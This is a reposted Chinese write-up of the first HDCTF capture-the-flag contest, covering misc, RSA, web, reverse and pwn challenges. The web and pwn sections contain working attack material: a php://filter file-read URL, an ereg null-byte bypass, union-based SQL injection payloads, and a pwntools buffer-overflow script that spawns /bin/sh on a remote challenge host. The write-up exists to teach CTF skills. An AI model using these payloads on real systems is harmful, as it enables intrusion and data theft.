第一届HDCTF Write up

栏目: 编程工具 · 发布时间: 5年前

内容简介:有幸参与海南大学组织举办的第一届HDCTF,听说难度中等偏易,刚刚入手CTF的我认为这是一次很好的练习以及学习机会。便兴冲冲的参与啦!首先,自认为misc是最容易的(相对web、rev、pwn来说,也不把今年的国赛MISC考虑在内。。。)便先拿MISC开刀(签到题就不说了23333)

第一届HDCTF Write up

有幸参与海南大学组织举办的第一届HDCTF,听说难度中等偏易,刚刚入手CTF的我认为这是一次很好的练习以及学习机会。便兴冲冲的参与啦!

MISC

首先,自认为misc是最容易的(相对web、rev、pwn来说,也不把今年的国赛MISC考虑在内。。。)便先拿MISC开刀(签到题就不说了23333)

循环冗余码了解一下 100

题目描述:xx 同学用他的 QQ 号加密了压缩包,你能成功破解出并找到数据包中的秘密吗?

下载文件得到两个加密压缩包:enc.rar与qq.rar

循环冗余码,CRC32,然后题目说密码是QQ号,

第一届HDCTF Write up

从包里可以看到是8位QQ号,很自然的可以想到是CRC碰撞了,虽然超过6个字节的内容CRC碰撞就不合适了,不过已经知道内容是八位数字,那就很容易写脚本碰撞了,以下是py2脚本

import binascii
for a in range(10):
    for b in range(10):
        for c in range(10):
            for d in range(10):
                for e in range(10):
                    for f in range(10):
                        for g in range(10):
                            for h in range(10):
                                txt= str(a)+str(b)+str(c)+str(d)+str(e)+str(f)+str(g)+str(h)
                                crc = binascii.crc32(txt)
                                if ((crc & 0xFFFFFFFF)==0xE82D0FCC):
                                    print txt

运行得到:

第一届HDCTF Write up

输入密码拿到一份流量包,流量包分析,wireshark打开,追踪TCP流,一条一条查看过去

第一届HDCTF Write up

拿到一条被加密的flag:

V20xNGFGb3pkR2hOUkdoc1RUSk5lazFFVlRCTk1scG9XbFJGZDAxSFdtMU9WMDB5V2xSTk5WcEVTWGxhUkVFeldrZ3dQUT09

虽然末尾没有等于号那么明显的标志,但base64应该八九不离十,最后通过三次base64解密后get flag:

flag{a08e3c30543fae100ff5c6e39d22d07d}

考点:压缩包解密之CRC碰撞;流量包分析;base64。

总的来说这一题不算太难,还是偏新手向的,稍微会一点点python,然后搜索一下 python 中关于crc的方法便能轻易构造脚本。流量包分析也是套路追踪TCP流,至于最后base64显然不难猜。

信号分析 150

题目描述:xx同学使用 hackcube 截获到了一段停车杆的遥控信息,你能还原这个原始信号吗?flag格式:flag{md5(得到的信号格式)}

提示:

hint1:参考: https://unicorn.360.com/hackcube/forum.php?mod=viewthread&tid=13&extra=page%3D1

hint2:试试波形分析吧! Audacity

下载得到一个.wav文件,拖进 Audacity观察,

第一届HDCTF Write up

在波形(dB)(W)下可以看到如此波形,由于没接触过遥控信息,进入所给参考资料,

根据

第一届HDCTF Write up

第一届HDCTF Write up

即可知道题目所给文件中的波形的含义为:FFFFFFFF0001

再根据flag格式,get flag:flag{a2720cc18b1410daaf83555eb262387a}

在给了参考资料,以及hint2的情况下,本题难度大大降低,主题人可能想通过本题让答题人了解接触遥控信号这一块吧?

你能发现什么蛛丝马迹吗 200

题目描述:xx 同学在某处得到了一个神秘的镜像文件,你能帮他发现一些神秘的信息吗?

提示:1. Volatility 2. 关键词 flag

下载得到一份镜像文件,用kali下的Volatility进行分析,

首先查看文件的profile值

指令:volatility -f memory.img imageinfo

第一届HDCTF Write up

猜测profile值为Win2003SP1x86

然后查看一下进程

指令:volatility -f memory.img —profile=Win2003SP1x86 pslist

第一届HDCTF Write up

发现一个及其显眼的最近程序的DumpIt.exe,感觉有点蹊跷,

然后试着提取内存中保留的 cmd 命令使用情况

指令:volatility -f memory.img —profile=Win2003SP1x86 cmdscan

第一届HDCTF Write up

看见Flags字样,根据提示,这个程序一定有点问题,找到他的PPID把他dump下来

指令:volatility -f memory.img —profile=Win2003SP1x86 memdump -p1992 -D /root

第一届HDCTF Write up

得到1992.dmp文件,然后用foremost提取里面的文件

指令:foremost 1992.dmp -T

第一届HDCTF Write up

分离出来很多文件,在其中的png文件夹中发现四张图像(重复了其实)二维码扫出来内容是:

jfXvUoypb8p3zvmPks8kJ5Kt0vmEw0xUZyRGOicraY4=

第一眼以为是base64,随即试了一下,解出来是乱码,然后根据上图的key以及iv,应该是AES加密,找到一个在线解AES的网址: http://tool.chacuo.net/cryptaes

第一届HDCTF Write up

昂吭,get flag!flag{F0uNd_s0m3th1ng_1n_M3mory}

这一题考的是内存取证,主要是对volatility工具的使用吧,然后是一个AES的ECB解密,

下面总结整理一下对volatility工具的使用方法

第一步肯定是需要查看文件的profile值:volatility -f memory.img imageinfo

然后就可以有很多操作了,比如列举进程:volatility -f memory.img —profile=Win2003SP1x86 pslist

cmd 命令使用情况:volatility -f memory.img —profile=Win2003SP1x86cmdscan

列举缓存在内存的注册表 :volatility -f memory.img —profile=Win2003SP1x86 hivelist

打印出注册表中的数据 :volatility -f memory.img —profile=Win2003SP1x86 -o 注册表的 virtual 地址

将内存中的某个进程数据以 dmp 的格式保存出来 :volatility -f memory.img —profile=Win2003SP1x86 memdump -p 进程的PPID值 -D 保存文件的地址

获取到当时的网络连接情况:volatility -f memory.img —profile=Win2003SP1x86 netscan

获取内存中的系统密码:volatility -f memory.img —profile=Win2003SP1x86 hashdump -y (注册表 system 的 virtual 地址 )-s (SAM 的 virtual 地址) #这在H-GAME的week4中的warm up有用到

除了这些常用到的功能以外,volatility工具还有更多的功能,这里就不在再一一列举了,具体可以使用指令:volatility -h 查看

(这其实是打HGAME整理的,主要参考 https://www.jianshu.com/p/6438bc3302c8)

CRYPTO

哇,中等偏易的HDCTF的密码学全是RSA,硬核啊,不过倒也是RSA里面偏简单的,可以接受,因为之前HGAME也遇到RSA了,所以留下的脚本,刚好对付这里的RSA了。

basic rsa 50

题目描述:这可能是最最最最简单的 rsa 了

密文:27565231154623519221597938803435789010285480123476977081867877272451638645710

下载得到一份py2代码

import gmpy2
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex

flag = "*****************"

p = 262248800182277040650192055439906580479
q = 262854994239322828547925595487519915551

e = 65533
n = p*q


c = pow(int(b2a_hex(flag),16),e,n)

print c

呃,啥都知道了,上脚本解呗

import gmpy2
from libnum import n2s,s2n

c = gmpy2.mpz(9544552122426002996962843810441848397036784063191487784065817764908998519819)
p = gmpy2.mpz(262248800182277040650192055439906580479)
q = gmpy2.mpz(262854994239322828547925595487519915551)
e = gmpy2.mpz(65533)
phi_n = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi_n)     #自认为gmpy2的神级功能之一;    
m = pow(c,d,p*q)
print "plaintext:"
print hex(m)[2:].decode('hex')

第一届HDCTF Write up

get flag:flag{B4by_Rs4}

bbbbbbrsa 100

题目描述:babyrsa,还是一道 RSA 的题目~

下载得到一份py2代码:

from base64 import b64encode as b32encode
from gmpy2 import invert,gcd,iroot
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex
import random

flag = "******************************"

nbit = 128

p = getPrime(nbit)
q = getPrime(nbit)
n = p*q

print p
print n

phi = (p-1)*(q-1)

e = random.randint(50000,70000)

while True:
    if gcd(e,phi) == 1:
        break;
    else:
        e -= 1;

c = pow(int(b2a_hex(flag),16),e,n)

print b32encode(str(c))[::-1]

和一份enc文件

p = 177077389675257695042507998165006460849
n = 37421829509887796274897162249367329400988647145613325367337968063341372726061
c = ==gMzYDNzIjMxUTNyIzNzIjMyYTM4MDM0gTMwEjNzgTM2UTN4cjNwIjN2QzM5ADMwIDNyMTO4UzM2cTM5kDN2MTOyUTO5YDM0czM3MjM

呃,小tricks,将c逆序后base64解密得到十进制c:

import base64
c='==gMzYDNzIjMxUTNyIzNzIjMyYTM4MDM0gTMwEjNzgTM2UTN4cjNwIjN2QzM5ADMwIDNyMTO4UzM2cTM5kDN2MTOyUTO5YDM0czM3MjM'
print(base64.b64decode(c[::-1]))


>>>b'2373740699529364991763589324200093466206785561836101840381622237225512234632'

然后,继续看这题的代码,这个e真是有点东西啊,取随机数然后再自减至与欧拉函数互质?这,我能想到的只能是爆破了23333,构造脚本:

import random
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        return 404            #因为20000个数中不是每个e都能求出d,所以这里对求d报错时进行了简单处理
    else:
        return x % m
fw=open("plaintext.txt","w")
p = 177077389675257695042507998165006460849
q = 211330365658290458913359957704294614589
n = 37421829509887796274897162249367329400988647145613325367337968063341372726061
c  = 2373740699529364991763589324200093466206785561836101840381622237225512234632
phi=(p-1)*(q-1)
for e in range(50000,70000):
        d=modinv(int(e),(p-1)*(q-1))
        if(d==404):
                continue
        else:
                fw.writelines(hex(int(pow(c,d,p*q))))
                fw.writelines("n")

运行结束后得到文本,然后再记事本中ctrl-F搜索666C6167(flag的十六进制形式),得到:

第一届HDCTF Write up

在十六进制转换过去得到flag:flag{rs4_1s_s1mpl3!#}

together 200together 200

题目描述:又是一道 RSA

这一题有四个文件,分别是myflag1,myflag2,pubkey1.pem,pubkey2.pem

打开myflag1,myflag2

第一届HDCTF Write up

base64解码成16进制后得到两份数据

分别是数据1:0x477368cbaaf758b22dcad0266f81661c4ca0a2296e7041196cef59617c7924dd371cda412c3c7b7d77767e5f942f9fb5d510acff2d2a953194456583b46eba78d2f31b036900a8958fa23b46d5099763dc9b736f15e005c08f54b15444ca1ef3215eac23d64ff25ff61950e8acb033e542d6f9fd0e20d1a1266666f052ff6839e57d3125850f3b2cf89c5a95d8a0cb72afa5abc632ba3a7b67f01a82b7412343b4de5d9871207f554cf5a30e615d98ea9aa9d5484fe2d97a64e02cd112c0ce679f88394b76850c5c23d58883625d3ffbc7adbca7ceadfa0a3b04740b1b111da830754513112f047072e63060b10a40d99f74b39a603a35bde580b792806f0fd4

数据2:0x3bead109723769307a3f5ad820e3d475a954a7aba3a7012ae08db40a8580f8720bf31c46b6a63a379829af482e66ff5980e1003059c1c4ea8c75536707d1a09e1997b6dd595b274fa88707be57f0a5dfcbc9dd174a35e78dacf73f7bce42f47bd5c0ffb97c810345cfce69d320c80486e1895459bc9a29f42ffdaa23bc20fd9ef0d7ee263a68bae792485de0a21b6dee903bfa97d6d9baa7c6bd609ad4a2975833f7d672dba7464dda86d4b3a8c401ad6a553697e8ce0ccbeb24b3ed15bc7013ac052e0ab98cc15122bea209fe74baca619511137a3a19f3cabd7af249c404a3958f41403b1dd82dfa6930cf976ce1877aa74a2512e932fa855c33064089d3df

然后再看两份.pem文件,这个需要用到kali里的openssl工具,

分别输入指令:

openssl rsa -pubin -text -modulus -in warmup -in pubkey1.pem

openssl rsa -pubin -text -modulus -in warmup -in pubkey2.pem

第一届HDCTF Write up

第一届HDCTF Write up

获得

e1:0x91d

e2:0x5b25

N1:75A8B8AA2AD2950E9AED4BE34618DFBEABB8CBA832685CC94F45173330100624846CCF90F3C2DB75BA5AF4B39CAEF1175AB9F898794EAC6082A4F766F7CB280B16F6980B38DDA811761324D619513B3CBE65877ACF51FC70405A8347C121207E71F8E6FCAE39647ED2231D306DD53849257BC306E997A502867012249D1691F5DC11D6AF06539F3F808939343DDE09301A761AE12C1C969076C502BC5A971E10ABCB366547BC94373F37A57DDC43858DB29BAAAAAD0E6867885EA3757403008C164E9C7AFA39B3C65089A151DDD8C06C64271086F9255ADB8ACF82182F8FA252930A187961635BC2A85C761330F85C896314B3FDAE4EFEF7E0A8C93B8854BFC3

N2:75A8B8AA2AD2950E9AED4BE34618DFBEABB8CBA832685CC94F45173330100624846CCF90F3C2DB75BA5AF4B39CAEF1175AB9F898794EAC6082A4F766F7CB280B16F6980B38DDA811761324D619513B3CBE65877ACF51FC70405A8347C121207E71F8E6FCAE39647ED2231D306DD53849257BC306E997A502867012249D1691F5DC11D6AF06539F3F808939343DDE09301A761AE12C1C969076C502BC5A971E10ABCB366547BC94373F37A57DDC43858DB29BAAAAAD0E6867885EA3757403008C164E9C7AFA39B3C65089A151DDD8C06C64271086F9255ADB8ACF82182F8FA252930A187961635BC2A85C761330F85C896314B3FDAE4EFEF7E0A8C93B8854BFC3

连个N一样的?同样的N,不同的e,那么是RSA的共模攻击没错了,那么之前获得的应该是两个密文了,构造共模攻击的脚本:

from gmpy2 import iroot,invert

n = 0x75a8b8aa2ad2950e9aed4be34618dfbeabb8cba832685cc94f45173330100624846ccf90f3c2db75ba5af4b39caef1175ab9f898794eac6082a4f766f7cb280b16f6980b38dda811761324d619513b3cbe65877acf51fc70405a8347c121207e71f8e6fcae39647ed2231d306dd53849257bc306e997a502867012249d1691f5dc11d6af06539f3f808939343dde09301a761ae12c1c969076c502bc5a971e10abcb366547bc94373f37a57ddc43858db29baaaaad0e6867885ea3757403008c164e9c7afa39b3c65089a151ddd8c06c64271086f9255adb8acf82182f8fa252930a187961635bc2a85c761330f85c896314b3fdae4efef7e0a8c93b8854bfc3

def egcd(a, b):

    if a == 0:

        return (b, 0, 1)

    else:

        g, y, x = egcd(b % a, a)

        return (g, x - (b // a) * y, y)



c1 = 0x477368cbaaf758b22dcad0266f81661c4ca0a2296e7041196cef59617c7924dd371cda412c3c7b7d77767e5f942f9fb5d510acff2d2a953194456583b46eba78d2f31b036900a8958fa23b46d5099763dc9b736f15e005c08f54b15444ca1ef3215eac23d64ff25ff61950e8acb033e542d6f9fd0e20d1a1266666f052ff6839e57d3125850f3b2cf89c5a95d8a0cb72afa5abc632ba3a7b67f01a82b7412343b4de5d9871207f554cf5a30e615d98ea9aa9d5484fe2d97a64e02cd112c0ce679f88394b76850c5c23d58883625d3ffbc7adbca7ceadfa0a3b04740b1b111da830754513112f047072e63060b10a40d99f74b39a603a35bde580b792806f0fd4

c2 = 0x3bead109723769307a3f5ad820e3d475a954a7aba3a7012ae08db40a8580f8720bf31c46b6a63a379829af482e66ff5980e1003059c1c4ea8c75536707d1a09e1997b6dd595b274fa88707be57f0a5dfcbc9dd174a35e78dacf73f7bce42f47bd5c0ffb97c810345cfce69d320c80486e1895459bc9a29f42ffdaa23bc20fd9ef0d7ee263a68bae792485de0a21b6dee903bfa97d6d9baa7c6bd609ad4a2975833f7d672dba7464dda86d4b3a8c401ad6a553697e8ce0ccbeb24b3ed15bc7013ac052e0ab98cc15122bea209fe74baca619511137a3a19f3cabd7af249c404a3958f41403b1dd82dfa6930cf976ce1877aa74a2512e932fa855c33064089d3df

e1 = 2333

e2 = 23333

s = egcd(e1,e2)

s1 = s[1]

s2 = s[2]

if s1<0:

    s1 = - s1

    c1 = invert(c1, n)

elif s2<0:

    s2 = - s2

    c2 = invert(c2, n)

m = pow(c1, s1, n) * pow(c2, s2, n) % n

print hex(m)[2:].decode('hex')

运行得到:

第一届HDCTF Write up

get flag:flag{23re_SDxF_y78hu_5rFgS}

(脚本构造参考V爷爷博客:

https://veritas501.space/2017/03/01/%E5%AF%86%E7%A0%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#more)

这次比赛的密码学,相比于出脑洞古典密码,直接三道RSA还是比较硬核了,做了这三道题,又再一次温习了RSA的加密原理以及脚本构造,还是有所收获的。

WEB

欢迎来到HDCTF 50

题目描述:签到题

呃,签到题,那f12一下咯?

第一届HDCTF Write up

没什么端倪,那就按照描述改0.html为1.html吧

第一届HDCTF Write up

呃,将段落一级一级展开最终get flag:flag{welcome_t0_HDctf}

测试你与flag的缘分 100

题目描述:常规编码啦

进入页面

第一届HDCTF Write up

呃,对不对不敢保证,,,,呃,还是点进去吧,

第一届HDCTF Write up

得到一份jsfuck编码的文件,这个Google自带解码功能,f12后,放进控制台跑就好,得到

第一届HDCTF Write up

十六进制转字符串后得到

=E5=93=88=E5=93=88=E5=93=88=E5=93=88,=E4=BD=A0=E8=A2=AB=E9=AA=97=E4=BA=86,=

=E4=B8=8D=E6=98=AF=E8=BF=99=E4=B8=AA,=E5=B0=B1=E9=97=AE=E4=BD=A0=E8=A7=A3=

=E4=BA=86=E5=8D=8A=E5=A4=A9=E6=B0=94=E4=B8=8D=E6=B0=94

呃?是这啥?随便复制一段百度搜索,知道是QUOTED-PRINTABLE编码,找到在线解密网址解密得到:

第一届HDCTF Write up

wtf?啥玩意儿,这么整的嘛?回到最初页面,f12大法!发现

第一届HDCTF Write up

(此处暴打出题人)

将图中十六进制转为字符串,然后两次base64解码得到flag

HDCTF{Jsfuck_1s_l0vely!}

这是web题吗?最后才发现网页标题已经说了,

第一届HDCTF Write up

ok fine…

简单的代码审计 200

这一题有点意思。。

进入页面,啥也没有,老样子,f12大法,

第一届HDCTF Write up

发现hint:file=once.php

于是在网址栏键入?file=once.php

第一届HDCTF Write up

进入页面

第一届HDCTF Write up

这,难道要爆破?不对劲,结合题目:代码审计,这题应该有代码才对,在看看hint,发现是file=once.php,这个file,那么源代码中应该存在文件包含函数,也就想到 php 伪协议中的任意文件读取,于是键入:

http://149.28.22.177:10003/?file=php://filter/read=convert.base64-encode/resource=once.php

得到网页经base64编码后的源码,base64解码后再处理一下格式,得到:

< html > < head > < meta http - equiv = "content-type"
content = "text/html; charset=GBK" > < title > Once More < /title>  </head > < body > < br > < center > < p > You password must be alphanumeric < /p><br>  <form method="get">   <input type="text" name="password" placeholder="Password"><br><br>   <input type="submit" value="Check">  </form > < hr > < br > < /body></html > 


<? php error_reporting(0);
include_once('./flag/flag0.php');
if (isset($_GET['password'])) {
    if (ereg("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) {
        echo '<p>You password must be alphanumeric</p>';
    } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 999999999) {
        if (strpos($_GET['password'], '*-*') !== FALSE) {
            die('Flag: '.$flag);
        } else {
            echo('<p>*-* have not been found</p>');
        }
    } else {
        echo '<p>Invalid password</p>';
    }
} ?>

果然是审计代码,一步步来,首先输入密码,密码需满足条件:

1,有字母或者数字组成;

2,密码长度小于8,却要比999999999大;

3,密码需要蕴含

矛盾点1:密码长度小于8,要比9个9大,这里可以用科学计数法绕过,比九个九大的最小值就是十亿,即1e9。

矛盾点2:密码只能由字母或者数字组成,却要包含符号: ,这里了解到php的ereg函数存在截断漏洞,可以用%00来截断参数,绕过验证

故密码为:1e9%00

输入密码后,仍然错误:

第一届HDCTF Write up

我们注意到我们的密码被改为了1e9%2500

因为浏览器在处理时会自动将我们传的参数url解码一次

那么直接在URL上操作,

最后payload:

http://149.28.22.177:10003/once.php?password=1e9%00*-*

get flag:HDCTF{Is_V3ry_1nteresting!}

这道题考的知识点还是蛮多的。1:通过文件包含漏洞利用php伪协议中的任意文件读取;2:php的ereg函数的截断漏洞利用;3:浏览器会自动进行一次url解码(实验吧的PHP大法一题了解一下。。)4:科学计数法。

可能刚接触CTF没了解太多的新手真的会把这题当做密码爆破来做吧。

sql注入 300

进入页面,是个登录界面,吸取第二题教训,直接f12,果然有点东西。

第一届HDCTF Write up

试试hash?

第一届HDCTF Write up

点击用户登录,呃,看来这里有脑洞了。是4位数字吗?一个反问。那就不是了,结合hint:试试hash,那么密码可能是一个四位数字的hash值吧,可是hash加密第一堆堆啊,猜最常见的md5吧,不对就再换好了,反正应该是离不开爆破了。用因为burpsuit里的process刚好有hash爆破,就用它爆破了,最后爆破出结果,发现密码是2019的md5值,

第一届HDCTF Write up

输入密码后进入:

第一届HDCTF Write up

首先测试,发现空格(可用/**/代替),等号(”where = “语句为非法)被过滤,但是union 和 select没有被过滤。那么这题这么解。

首先匹配字段,发现到3没有报错

'/**/union/**/select/**/1,2,3#

了解到由于 Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息,所以,

同时爆库名和表名

'/**/union/**/select/**/1,TABLE_NAME,TABLE_SCHEMA/**/from/**/information_schema.TABLES#

第一届HDCTF Write up

这里我是这么理解 sql 语句的,由于不能使用等号,所以不能“where = ”语句一层一层查下来。所以利用information_schema,直接爆库中包含的所有表的表名,顺带爆出表所属的库,以为之后爆字段的时候用。(因为发现如果最后爆字段的时候不带上列所属的表及其所属库,他会自动引用其中sousou这个库,这并不是我们想要的)那为什么这样写可以呢,从information_schema.TABLES中缺能爆出库的信息?显然这是符合逻辑的,因可以理解列、表、库为从属关系,知道最末端的列,那么顺藤摸瓜般便可以知道其所属表,以及库;而只是知道最上层的库,显然不能得出一个具体的表。

同理然后爆出列名和表名(用来一一对应)

第一届HDCTF Write up

'/**/union/**/select/**/1,COLUMN_NAME,TABLE_NAME/**/from/**/information_schema.COLUMNS#

最后爆字段内容,即为flag

'/**/union/**/select/**/1,fffflllag__23333,3/**/from/**/ctf.flag#

第一届HDCTF Write up

get flag: flag{wasaix_hndxctf2019}

如果这里不写ctf.flag,而只是写flag,便会报错:

第一届HDCTF Write up

他默认引用了库sousou,然而表flag在库ctf中,所以会报错。

这一道sql除了考了常规的手工sql注入中union语句以外,还外加了一点点脑洞和密码的爆破,并没有特别难。但是sql这类题型在CTF赛事上几乎从不缺席。所以WEB方向的选手在sql这里是需要多下点功夫,去理解,去深入。

REVERSE

没有认真学习汇编,甚至连动态调试都还不会的我,水了水本次比赛比较简单地两道逆向题,一道考简单算法,一道是pyc,刚好避开了我不会的东西,唔。。。

就是算法逆向 100

下载得到elf文件easyAlgorithm

放入IDA,进入main函数,F5来一下。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@12
  __int64 v4; // rdi@12
  int v5; // [sp+Ch] [bp-B4h]@1
  signed int i; // [sp+10h] [bp-B0h]@1
  signed int j; // [sp+14h] [bp-ACh]@4
  int v8; // [sp+20h] [bp-A0h]@1
  int v9; // [sp+24h] [bp-9Ch]@1
  int v10; // [sp+28h] [bp-98h]@1
  int v11; // [sp+2Ch] [bp-94h]@1
  int v12; // [sp+30h] [bp-90h]@1
  int v13; // [sp+34h] [bp-8Ch]@1
  int v14; // [sp+38h] [bp-88h]@1
  int v15; // [sp+3Ch] [bp-84h]@1
  int v16; // [sp+40h] [bp-80h]@1
  int v17; // [sp+44h] [bp-7Ch]@1
  int v18; // [sp+48h] [bp-78h]@1
  int v19; // [sp+4Ch] [bp-74h]@1
  int v20; // [sp+50h] [bp-70h]@1
  int v21; // [sp+54h] [bp-6Ch]@1
  int v22; // [sp+58h] [bp-68h]@1
  int v23; // [sp+5Ch] [bp-64h]@1
  int v24; // [sp+60h] [bp-60h]@1
  int v25; // [sp+64h] [bp-5Ch]@1
  int v26; // [sp+68h] [bp-58h]@1
  int v27; // [sp+6Ch] [bp-54h]@1
  int v28; // [sp+70h] [bp-50h]@1
  int v29; // [sp+74h] [bp-4Ch]@1
  int v30; // [sp+78h] [bp-48h]@1
  int v31; // [sp+7Ch] [bp-44h]@1
  int v32; // [sp+80h] [bp-40h]@1
  int v33; // [sp+84h] [bp-3Ch]@1
  int v34; // [sp+88h] [bp-38h]@1
  char v35[40]; // [sp+90h] [bp-30h]@1
  __int64 v36; // [sp+B8h] [bp-8h]@1

  v36 = *MK_FP(__FS__, 40LL);
  v5 = 0;
  v8 = 2;
  v9 = 10;
  v10 = 8;
  v11 = 8;
  v12 = 12;
  v13 = 6;
  v14 = 4;
  v15 = 10;
  v16 = 8;
  v17 = 16;
  v18 = 8;
  v19 = 6;
  v20 = 12;
  v21 = 6;
  v22 = 8;
  v23 = 0;
  v24 = 6;
  v25 = 12;
  v26 = 12;
  v27 = 16;
  v28 = 2;
  v29 = 8;
  v30 = 10;
  v31 = 12;
  v32 = 8;
  v33 = 4;
  v34 = 2;
  puts("Pls give me your flag:");
  __isoc99_scanf("%27s", v35);
  for ( i = 0; i <= 26; ++i )
    *(&v8 + i) -= i % 5;
  for ( j = 0; j <= 26; ++j )
  {
    if ( (*(&v8 + j) ^ v35[j]) != aDegbslvQsizobw[j] )
    {
      puts("Try again!");
      exit(0);
    }
    ++v5;
  }
  if ( v5 == 27 )
    puts("Coungratulations!");
  result = 0;
  v4 = *MK_FP(__FS__, 40LL) ^ v36;
  return result;
}

确实很简单,伪代码看下来,就是将给定的字符先按一定规则移位,然后分别和flag的各个字符异或,最后得到一个加密后的字符串。点开aDegbslvQsizobw[j]可以看到加密后的字符串为:degbsLv{qSiZObwyZKekmua}li|

那么构造脚本进行解密。大致思路为:先将给定的字符按一定规则移位,然后将其与加密后的字符串按位异或,python脚本如下:

a=[2,10,8,8,12,6,4,10,8,16,8,6,12,6,8,0,6,12,12,16,2,8,10,12,8,4,2]
enc='degbsLv{qSiZObwyZKekmua}li|'
ans=''
for i in range(27):
    a[i]=a[i]-i%5
for i in range(27):
    ans+=chr(a[i]^ord(enc[i]))
print ans

得到flag:flag{Just_a_Easy_Algorithm}

这一题考的是简单的移位和异或加密,这里的移位并不需要去逆,而异或运算的逆,这里有一个点,就是a^b=c,那么c^b=a,加密是可逆的。

这一题更倾向于一种引导作用,让新手去接触逆向,去体会、明白这个“逆”字含义。

easypyc 200

题目描述:就是pyc逆向

下载得到pyc文件,有在线反编译的网站: https://tool.lu/pyc/

反编译得到python代码:

import marshal
from binascii import unhexlify
exec(marshal.loads(unhexlify(b'faa7696d706f7274206d61727368616c0a66726f6d2062696e617363696920696d706f727420756e6865786c6966790a66726f6d2062617365363420696d706f7274206236346465636f64650a7072696e742822446f20796f75206b6e6f77207079633f22290a61203d20223d51324e314d444e32516d4e6d56444e32556d4e78596a5a314d6a4e3563444d3359574e35637a4d33456a4e31596a5933636a4e78597a5932596a4e22')))

见到unhexlify,大致猜测就是反十六进制?那就将其中的十六进制转换为字符串,得到又一串python代码

import marshal
from binascii import unhexlify
from base64 import b64decode
print("Do you know pyc?")
a = "=Q2N1MDN2QmNmVDN2UmNxYjZ1MjN5cDM3YWN5czM3EjN1YjY3cjNxYzY2YjN"

见到一串类似base64编码后的字符串,但是等于号在前面,猜测大概是逆序了,那就将其逆序后base64解码,然后十六进制转化为字符串,最后得到flag:flag{easy_pyc_and_md5}

PWN

babystack 150

下载文件,放入IDA分析,F5来一下:

第一届HDCTF Write up

注意到这里有一个name的读入,然后进入vuln()函数:

第一届HDCTF Write up

注意到这里有一个size的输入,于是想到负数溢出。只要输入size的时候填入一个负数,那么就可以输入任意长的字符串。那要填多少的个字符呢?点进buf查看栈的情况,

第一届HDCTF Write up

第一届HDCTF Write up

buf和ebp差了5c,而填充ebp又需要4个字节,所以填充需要填充60,也就是十进制的96,而ebp之后是要覆盖的eip,eip覆盖成啥呢,在IDA的左侧发现了hint函数

第一届HDCTF Write up

call _system的地址为0804864E,于是就将eip覆盖成0804864E,

第一届HDCTF Write up

又注意到command这个参数紧跟hint函数,而command这个参数怎么传呢,想到最开始我们输入了name,于是可以在eip后面跟一个name的地址,而name则构造成/bin/sh,

于是构造脚本:

from pwn import *
context.log_level = 'debug'
p=remote('123.207.114.39',8889)
#p = process('./babystack')
p.recvuntill(':')
p.sendline('/bin/sh')
p.recvuntill('>')
p.sendline('1')
p.recvuntill(':')
p.sendline('-1')
p.recvuntill('string')
p.sendline('a'*93+p32(0x08048636))
p.interactive()

第一届HDCTF Write up

get flag:flag{bb01b3f2-96cB-47ad-8768-188dcf34fbf5}

总结:本题也是新手向的一道pwn题,可以引导新手了解pwn最基础而核心的原理:利用各种漏洞达到溢出从而执行自己所期望的 shell 命令来获取flag。当然,更多的其他的pwn题远比这一道babystack要来的复杂以及有深度,所以,慢慢学吖!

结语:

这就是我本次参与第一届HDCTF所做出来的所有的题,每道题的WP已经写的尽可能详细,希望对刚入门CTF的CTFer有所帮助。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Learning jQuery

Learning jQuery

Jonathan Chaffer、Karl Swedberg / Packt Publishing / 2007-7-7 / GBP 24.99

jQuery is a powerful JavaScript library that can enhance your websites regardless of your background. In this book, creators of the popular jQuery learning resource, learningquery.com, share the......一起来看看 《Learning jQuery》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器